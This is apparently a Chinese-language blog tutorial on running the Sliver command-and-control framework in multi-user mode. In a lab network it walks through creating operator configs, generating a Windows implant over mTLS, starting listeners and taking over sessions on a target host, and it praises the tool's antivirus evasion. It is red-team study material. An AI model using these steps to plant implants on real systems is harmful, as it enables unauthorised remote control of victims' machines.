在前面的一篇文章中,我们讲到了
Sliver框架的使用。如果是单用户模式,我们在服务端玩就足够了。但是Sliver是支持C2结构的(即服务端和客户端)。本文我们一起来研究吧!注:本文仅作为学习和研究,请勿非法使用。
Sliver在设计上是考虑了多用户以及多平台生成相关Shell。
实验环境
Sliver Server ( 192.168.123.23)Sliver Client ( 192.168.123.74)靶机 ( 192.168.123.129)
配置服务端
在前面的文章中,我们已经大致了解了服务端的安装和启动。由于网络问题,建议直接下载编译好的文件。
?启动服务端
./sliver-server_linux

如果是单用户,到这步已经完成了安装,可以直接在终端执行相关命令。但如果是多client协同则还需要进行下面的步骤。
?生成Client配置文件
new-operator --name Dabiaoge --lhost Server服务器IP #新建一个client
multiplayer #启用多用户

这时,会生成客户端的配置文件/root/tool/Dabiaoge_192.168.123.23.cfg,这里我只生成了一个用户,如果有多个用户,修改name的值就行了。需要注意的是,server端默认监听的端口为31337。如果要修改的话 vim ~/.sliver/configs/server.json
Sliver Client安装配置
这里为了方便,我们还是直接用编译好的Client将刚才服务端生成的配置文件.cfg上传到客户端。
导入配置文件
./sliver-client_linux import /root/tool/Dabiaoge_192.168.123.23.cfg

这样就完成了C/S架构的Sliver安装配置。
生成shell
命令格式如下:
generate --mtls --save ./test.exe --os Windows
命令详解:
--mtls:监听协议(包括http、mtls、grpc )
开启监听
如上一步,我们生成shell所用的监听协议为mtls,故我们要配置mtls类型的监听。在终端执行命令
mtls
通过输入jobs命令,可以查看目前开启的监听。

默认端口是8888 如果要指定端口,执行命令
mtls -l 9999
?查看生成过的shell
implants

运行shell后,server和client端都会得到会话的消息。主要包含session id、外网IP、主机名、平台、时间等等。
会话操作
sessions -i id #进入会话
sessions -k id #结束会话

进入会话后,就和msf的控制台一样了。通过help命令,我们可以得到相关的执行参数。
总结
在我看来,Sliver最大的优点在免杀效果要远远胜于其他几个框架。可玩性也比较高,安装简单并跨平台。但是生成的Shell相对来说比较大。
更多精彩文章 欢迎关注我们